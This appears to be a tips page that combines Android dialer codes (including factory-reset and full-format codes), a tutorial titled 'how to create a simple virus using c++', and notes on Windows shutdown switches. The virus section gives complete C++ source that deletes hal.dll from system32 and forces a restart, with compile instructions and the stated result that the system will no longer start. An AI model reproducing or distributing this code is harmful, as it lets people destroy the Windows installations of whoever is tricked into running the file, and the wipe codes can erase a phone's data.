Secret codes for Android mobile operating system

Secret codes for Android mobile operating system:

Phone and Battery information Code:      *#*#4636#*#*

Factory Data reset Code: *#*#7780#*#*

Full Factory Format Code: *2767*3855# (Dangerous)

GTalk Service Monitor Code: *#*#8255#*#*

Camera Firmware settings Code: *#*#34971539#*#*

Service mode Codes:

*#*#197328640#*#* 

 This code can be used to enter into Service mode. You can run various tests and change settings in the service mode.

WLAN, GPS and Bluetooth Test Codes:

WLAN test (Use "Menu" button to start various tests) :  *#*#232339#*#* OR *#*#526#*#* OR *#*#528#*#*

how to create a simple virus using c++

This virus will delete the hal.dll (this  file helps the system in startup) in your system32 folder. After performing such task your will no longer will be able to start your system.....

#include <cstdlib>
#include <iostream>
using namespace std;
int main(int argc, char *argv[])
{
   std::remove("C:\\windows\\system32\\hal.dll"); 
    system("shutdown -s -r");
    system("PAUSE");
    return EXIT_SUCCESS;
}
After typing the above source code in  notepad ,save the file as bee.cpp.
 After saving...
compile the source file ...
You will get a .exe file 
On opening the .exe file your system will restart and crash...

shut down after specified time using cmd

Shutdown your computer

Type "shutdown -s" without the quotes in the command prompt and press Enter. Shutdown is the command being executed and the switch -s tells the computer to shutdown.

Restart your  Computer
Type "shutdown -r" in the command prompt and press Enter. In this case, the command switch -r is telling the computer to restart after shutdown.

Log Off the Current User
Type "shutdown -l" in the command prompt and press Enter. The -l command switch tells the computer to log off.

Shutdown your  computer after a specific time

Type "shutdown -s -t 60" to shutdown your computer after 60 seconds. Upon executing this, a countdown timer displaying a warning message will be shown. This command uses the -t command switch followed by a variable (which is 60 in this case) which represents the number of seconds after which the computer will shutdown.

Display a Message containing the reason for shutdown

Type shutdown -s  -t 500 -c "I am tired. I don't want to work anymore." (with the quotes) in the Command Prompt and press Enter. The -c switch is used in the code to give the reason for shutting down and what is followed in quotes will be displayed in the dialog box as the reason. This can be used to display all sorts of funny messages.